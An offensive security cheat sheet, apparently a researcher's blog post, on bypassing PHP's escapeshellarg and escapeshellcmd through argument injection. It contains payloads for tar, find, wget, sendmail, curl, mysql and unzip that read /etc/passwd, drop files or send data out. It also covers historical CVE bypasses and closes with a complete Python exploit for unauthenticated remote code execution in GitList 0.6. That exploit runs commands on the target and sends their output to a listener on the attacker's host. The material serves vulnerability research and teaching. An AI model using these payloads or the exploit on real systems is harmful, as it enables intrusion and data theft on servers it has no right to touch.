Exploit/bypass PHP escapeshellarg/escapeshellcmd functions

Description:

Introduction

TL;DR: How exploit/bypass/use PHP escapeshellarg/escapeshellcmd functions.

I create this simple cheat sheet because of GitList 0.6 Unauthenticated RCE so you can easily understand how it works.

Note: This is simple list with easy to understand examples so it doesn’t contain all/comprehensive details about escapeshell* functions.

This document is also available on GitHub.

Table of contents

What escapeshellarg and escapeshellcmd really do?

Function Description
escapeshellcmd ensure that user execute only one command
user can specify unlimited number of parameters
user cannot execute different command
escapeshellarg ensure that user pass only one parameter to command
user cannot specify more that one parameter
user cannot execute different command

Example. Let’t use groups which prints group memberships for each username.

$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

But attacker can use ; or || inside $username.

On Linux this means that second command will be executed after first one:

$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)

In order to protect against this we are using escapeshellcmd.

Now attacker cannot run second command.

$username = 'myuser;id';
// escapeshellcmd adds \ before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)

Why? Because internally PHP runs this command:

$ groups myuser\;id
groups: „myuser;id”: no such user

myuser\;id is treated as single string.

But in this approach attacker can specify more parameters to groups.

For example he can check multiple users at once:

$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo

Let’s assume that we want to allow checking only one user per script execution:

$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)

Why? Because now $username is treated as single parameter:

$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user

Known bypasses/exploits

When you want to exploit those functions you have 2 options:

Argument Injection

As you can see from previous chapter it’s not possible to execute second command when escapeshellcmd/escapeshellarg is used.

But still we can pass arguments to the first command.

This means that we can also pass new option to the command.

Ability to exploit vulnerability depends on the target executable.

Below you can find list of known executables with some specific options which can be misused.

TAR

Compress some_file into /tmp/sth.

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

Create empty /tmp/exploit file.

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

FIND

Find some_file inside /tmp directory.

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));

Print /etc/passwd content.

$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

Escapeshellcmd with escapeshellarg

In this configuration we can pass second argument to the function.

List files inside /tmp dir and ignore sth.

$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

List files inside /tmp dir and ignore sth. Use a long listing format.

$arg = "sth' -l ";
// ls --ignore='exploit'\\'' -l \' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

WGET

Download example.php.

$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

Save .php file to specific directory:

$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

Command executed using .bat

Print list of files inside somedir.

$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

Also execute whoami command.

$dir = "somedir \x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

See: how passing parameters to a new process on Windows.

SENDMAIL

Send mail.txt. Set the envelope sender address to [email protected]

$from = '[email protected]';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

Print /etc/passwd content.

$from = '[email protected] -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

CURL

Download http://example.com content.

$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));

Send /etc/passwd content to http://example.com.

$url = '-F [email protected]/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));

You can get file using:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MYSQL

Execute sql statement:

$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

Run id command.

$sql = '\! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

UNZIP

Unpack all *.tmp files from archive.zip into /tmp directory.

$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

Unpack all *.tmp files from archive.zip into /var/www/html directory.

$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

Strip non-ascii characters if the LANG environment variable is not set

$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

Historical exploits

1. PHP <= 4.3.6 on Windows - CVE-2004-0542

$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');

Run also dir command.

$find = 'word " c:\\where\\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');

2. PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 - CVE-2008-2051

Shell needs to uses a locale with a variable width character set like GBK, EUC-KR, SJIS.

$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth \xc0; id";
system(escapeshellcmd("echo ".$text));

OR

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word \xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

3. PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows - CVE-2015-4642

Pass additional third parameter (--param3) to function.

$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\\';
$b = 'b -c --param3\\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

4. PHP 7.x before 7.0.2 - CVE-2016-1904

Heap-based buffer overflow if you pass 1024mb string to escapeshellarg or escapeshellcmd.

5. PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows

Expand some environment variables when EnableDelayedExpansion is enabled.

Then !STH! works similar to %STH%.

escapeshellarg doesn’t sanitize ! character.

EnableDelayedExpansion can be set in the registry under HKLM or HKCU:

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)

Example:

// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);

6. PHP < 5.6.18

The functions defined in ext/standard/exec.c which work with strings (escapeshellcmd, eschapeshellarg, shell_exec), all ignore the length of the PHP string, and work with NULL termination instead.

echo escapeshellarg("hello\0world");
=>
hello

GitList RCE Exploit

File: src/Git/Repository.php

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }
}

Simplified:

$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');

When we check git grep documentation:

--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.

So basically --open-files-in-pager works like -exec in find.

$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');

When we put this to the console:

$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found

Final exploit - DOWNLOAD:

import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
	print "[-] No repos"
	os._exit(0)

for repo in repos:
	print "[+] Found repo {}".format(repo)
	r = requests.get("{}{}".format(url, repo))
	files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
	for file in files:
		r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
		print "[+] Found file {}".format(file)
		print r.text[0:100]
		search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])		
		break

if not search_url:
	print "[-] No files in repo"
	os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
	server = HTTPServer((your_ip, your_port), GetHandler)
	server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})

while True:
    time.sleep(1)

Timeline: